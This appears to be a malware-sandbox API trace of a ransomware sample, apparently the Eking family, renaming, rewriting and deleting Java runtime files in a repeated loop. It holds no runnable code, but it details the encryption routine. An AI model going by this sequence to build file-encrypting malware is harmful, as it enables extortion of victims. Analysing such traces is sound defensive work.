GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0244.714] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0244.715] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x99, lpOverlapped=0x0) returned 1 [0244.717] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0244.718] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0244.718] CloseHandle (hObject=0x374) returned 1 [0244.719] CloseHandle (hObject=0x358) returned 1 [0245.077] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0 [0245.077] SetEvent (hEvent=0x2b8) returned 1 [0245.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0245.079] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=168) returned 1 [0245.079] CloseHandle (hObject=0x358) returned 1 [0245.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0245.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0245.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0245.081] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.081] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0245.082] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa8, lpOverlapped=0x0) returned 1 [0245.084] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb0, lpOverlapped=0x0) returned 1 [0245.085] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0245.085] CloseHandle (hObject=0x358) returned 1 [0245.085] CloseHandle (hObject=0x374) returned 1 [0245.087] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0 [0245.088] SetEvent (hEvent=0x2b8) returned 1 [0245.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.089] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=153) returned 1 [0245.089] CloseHandle (hObject=0x374) returned 1 [0245.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0245.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0245.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.090] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.090] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0245.092] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x99, lpOverlapped=0x0) returned 1 [0245.094] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0245.095] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0245.095] CloseHandle (hObject=0x374) returned 1 [0245.095] CloseHandle (hObject=0x358) returned 1 [0245.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0 [0245.104] SetEvent (hEvent=0x2b8) returned 1 [0245.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0245.106] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=147) returned 1 [0245.106] CloseHandle (hObject=0x358) returned 1 [0245.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0245.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0245.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0245.107] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.108] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0245.108] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x93, lpOverlapped=0x0) returned 1 [0245.109] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0245.110] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0245.111] CloseHandle (hObject=0x358) returned 1 [0245.111] CloseHandle (hObject=0x374) returned 1 [0245.112] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0 [0245.112] SetEvent (hEvent=0x2b8) returned 1 [0245.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.113] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=153) returned 1 [0245.113] CloseHandle (hObject=0x374) returned 1 [0245.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0245.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0245.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.114] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.115] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0245.402] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x99, lpOverlapped=0x0) returned 1 [0245.405] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0245.406] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0245.407] CloseHandle (hObject=0x374) returned 1 [0245.407] CloseHandle (hObject=0x340) returned 1 [0245.412] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0 [0245.412] SetEvent (hEvent=0x2b8) returned 1 [0245.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0245.419] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=56) returned 1 [0245.419] CloseHandle (hObject=0x340) returned 1 [0245.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0245.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0245.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0245.420] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.420] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0245.421] ReadFile (in: hFile=0x340, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x38, lpOverlapped=0x0) returned 1 [0245.422] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x40, lpOverlapped=0x0) returned 1 [0245.423] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0245.423] CloseHandle (hObject=0x340) returned 1 [0245.424] CloseHandle (hObject=0x374) returned 1 [0245.425] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0 [0245.425] SetEvent (hEvent=0x2b8) returned 1 [0245.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.428] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=944167) returned 1 [0245.428] CloseHandle (hObject=0x374) returned 1 [0245.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0245.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0245.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0245.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0245.429] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.429] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0245.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0245.434] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xe6827, lpOverlapped=0x0) returned 1 [0245.949] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xe6830, lpOverlapped=0x0) returned 1 [0245.973] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0245.973] CloseHandle (hObject=0x374) returned 1 [0245.973] CloseHandle (hObject=0x340) returned 1 [0246.193] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0 [0246.194] SetEvent (hEvent=0x2b8) returned 1 [0246.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0246.196] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=116446) returned 1 [0246.196] CloseHandle (hObject=0x340) returned 1 [0246.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0246.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0246.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff 